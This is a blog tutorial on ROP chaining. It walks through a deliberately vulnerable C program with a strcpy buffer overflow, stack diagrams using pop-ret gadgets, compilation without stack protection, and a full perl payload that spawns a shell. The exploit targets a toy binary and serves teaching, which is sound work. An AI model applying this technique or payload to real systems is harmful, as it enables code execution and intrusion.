We have already looked at return-to-libc attack in one of my previous articles. Return-to-libc attack is part of a concept called Return-Oriented Programming which basically utilizes code that is already present in the program. However, return-to-libc allows for pivoting into only one other function. In the return-to-libc article, I pivoted into system()
to launch the shell.
ROP chaining is an extension of return-to-libc and allows for pivoting across multiple (arbitrary) functions. Like return-to-libc, it bypasses DEP.
Credits: I haven’t worked on this exploit as part of any of my projects. I’ve picked up the vulnerable program from a blog post about ROP.
ROP Chaining
Consider the following vulnerable program:
nikhilh@ubuntu:~/rop$ cat rop.c
char string[100];void exec_string() {
system(string);
}void add_bin(int magic) {
if (magic == 0xdeadbeef) {
strcat(string, “/bin”);
}
}void add_sh(int magic1, int magic2) {
if (magic1 == 0xcafebabe && magic2 == 0x0badf00d) {
strcat(string, “/sh”);
}
}void vulnerable_function(char* string) {
char buffer[100];
strcpy(buffer, string);
}int main(int argc, char** argv) {
string[0] = 0;
vulnerable_function(argv[1]);
return 0;
}
In the above program, we can see that it can be easily exploited with a return-to-libc attack. Since this article is specifically about ROP, we’ll concentrate on that.
Notice that exec_string()
contains a call to system()
, but the variable, string
does not hold a value of "/bin/sh"
. For string
to have this value, we need to access add_bin()
and add_sh()
functions in order. In other words, we need to pivot across multiple functions and hence the need for ROP chaining.
Fundamental Idea
Software attacks like return-to-libc and ROP chaining are based on the idea that the saved return address on the stack can be overwritten by a different address. When the function returns, %eip
is loaded with the overwritten address rather than the original saved return address causing it to execute code determined by the attacker.
ROP chaining, however, isn’t as straightforward as return-to-libc. To understand this, we’ll take a look at the expected stack structure when pivoting between functions. I’m assuming that you understand the C function calling mechanism very well.
In the below stack diagram, higher memory addresses are at the top:
| some value F
| some value E
| some value D
| some value C
| some value B
| some value A
| address of first argument, string S
| saved return ptr of vulnerable_func() R
The first function to pivot to, from vulnerable_function()
is add_bin()
. From the knowledge of C function call mechanism, we know that the value R
must be overwritten with the memory address of add_bin()
. The value, A
would be the first argument to add_bin()
, which needs to be equal to 0xdeadbeef (see code). The stack diagram would be:
| some value F
| some value E
| some value D
| some value C
| some value B
| 0xdeadbeef
| first arg S
| add_bin() address
After executing add_bin()
, our program should pivot to add_sh()
. This means that the value of S
must be equal to the memory address of add_sh()
. However, also notice that exec_string()
must be executed after add_sh()
which means that the value of A
must be equal to the memory address of exec_string()
. This causes a conflict because the value of A
must be equal to 0xdeadbeef for add_bin()
to work correctly. If you find these relationships confusing, I suggest you understand the C function calling mechanism in depth.
The conflict described above leads us to the principle of ROP chaining.
The value of S
is the main source of confusion at this point. We know that it cannot be equal to the memory address of add_sh()
. However, we can overwrite the value of B
with the memory address of add_sh()
and force %eip
to point to that address. %eip
can be forced by executing pop-ret
instructions immediately on exiting vulnerable_function()
. (A pop-ret
instruction represents a pop
instruction followed by a ret
instruction.)
On executing ret
at the end of vulnerable_function()
, %esp
would point to 0xdeadbeef. The pop
instruction would pop 0xdeadbeef off the stack and %esp
would now point to B
, which is the memory address of add_sh()
. On executing ret
, %eip
would enter add_sh()
. The stack structure would now look like:
| some value F
| some value E
| some value D
| some value C
| add_sh() address
| 0xdeadbeef
| address of a pop-ret instruction
| add_bin() address
This idea can be generalized. The number of pop
instructions required before a ret
instruction is equal to the number of arguments that the calling function accepts. In the above case, add_bin()
called add_sh()
. add_bin()
accepted one argument and therefore, we required one pop
instruction before a ret
instruction.
Expanding the same principle, we get the expected stack structure as:
| exec_string() address
| 0x0badf00d
| 0xcafebabe
| address of a pop-pop-ret instruction
| add_sh() address
| 0xdeadbeef
| address of a pop-ret instruction
| add_bin() address
Exploit Code Construction
Compilation
nikhilh@ubuntu:~/rop$ gcc -m32 -fno-stack-protector -o rop rop.c
rop.c: In function ‘exec_string’:
rop.c:4:5: warning: implicit declaration of function ‘system’ [-Wimplicit-function-declaration]
system(string);
^
rop.c: In function ‘add_bin’:
rop.c:9:9: warning: implicit declaration of function ‘strcat’ [-Wimplicit-function-declaration]
strcat(string, “/bin”);
^
rop.c:9:9: warning: incompatible implicit declaration of built-in function ‘strcat’
rop.c:9:9: note: include ‘’ or provide a declaration of ‘strcat’
rop.c: In function ‘add_sh’:
rop.c:15:9: warning: incompatible implicit declaration of built-in function ‘strcat’
strcat(string, “/sh”);
^
rop.c:15:9: note: include ‘’ or provide a declaration of ‘strcat’
rop.c: In function ‘vulnerable_function’:
rop.c:21:5: warning: implicit declaration of function ‘strcpy’ [-Wimplicit-function-declaration]
strcpy(buffer, string);
^
rop.c:21:5: warning: incompatible implicit declaration of built-in function ‘strcpy’
rop.c:21:5: note: include ‘’ or provide a declaration of ‘strcpy’
Exploit Code
“A”x112 . “\x54\x84\x04\x08” . “\xed\x82\x04\x08” . “\xef\xbe\xad\xde” . “\x90\x84\x04\x08” . “\x8d\x84\x04\x08” . “\xbe\xba\xfe\xca” . “\x0d\xf0\xad\x0b” . “\x3b\x84\x04\x08”
112 As overflows buffer
and saved frame pointer, %ebp
. pop-ret
and pop-pop-ret
instruction addresses can be found from the hex dump of the executable.
Get that Shell!
nikhilh@ubuntu:~/rop$ ./rop $(perl -e ‘print (“A”x112 . “\x54\x84\x04\x08” . “\xed\x82\x04\x08” . “\xef\xbe\xad\xde” . “\x90\x84\x04\x08” . “\x8d\x84\x04\x08” . “\xbe\xba\xfe\xca” . “\x0d\xf0\xad\x0b” . “\x3b\x84\x04\x08”)’)
$ whoami
nikhilh
$ exit
Segmentation fault (core dumped)
Done!
ROP chaining is a very simple technique if you understand the C function calling mechanism very well. It is especially useful to bypass ASLR if the code that you require is spread across different functions in the program.
Thank you for reading! If you have any questions, leave them in the comments section below and I’ll get back to you as soon as I can!